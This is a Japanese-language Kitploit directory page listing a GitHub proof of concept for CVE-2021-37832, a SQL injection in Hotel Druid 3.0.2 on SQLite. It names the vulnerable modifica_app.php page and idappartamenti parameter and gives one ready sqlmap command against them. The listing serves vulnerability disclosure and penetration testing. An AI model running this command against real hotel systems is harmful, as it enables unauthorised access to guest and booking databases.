Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-37832 — CVE-2021-37832 - Hotel Druid 3.0.2 SQLインジェクションの脆弱性 - 9.8 CVSS 3.1 | Kitploit
ツール/GitHubGitHub/dievus/cve-2021-37832
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubdievus/cve-2021-37832

CVE-2021-37832

CVE-2021-37832 - Hotel Druid 3.0.2 SQLインジェクションの脆弱性 - 9.8 CVSS 3.1

リポジトリを見る
415年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE 2021-37832 Hotel Druid 3.0.2 SQLインジェクションの脆弱性

Hotel Druid 3.0.2において、アプリケーションデータベースとしてSQLiteが使用されている場合、SQLインジェクションの脆弱性が存在します。悪意のある攻撃者は、脆弱なidappartamentiパラメータを介してSQLiteデータベースにSQLコマンドを発行することができます。

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37832

https://nvd.nist.gov/vuln/detail/CVE-2021-37832#match-6858716

脆弱なPHPページ:

modifica_app.php - idappartamenti パラメータ

脆弱なペイロード

sqlmap -u "/modifica_app.php?tipo_tabella=appartamenti&anno=2021&id_sessione=&idappartamenti=01" --level=3 --risk=2 --banner --dbms=sqlite

発見者: Joe Helle, 2021年7月

ツールをダウンロード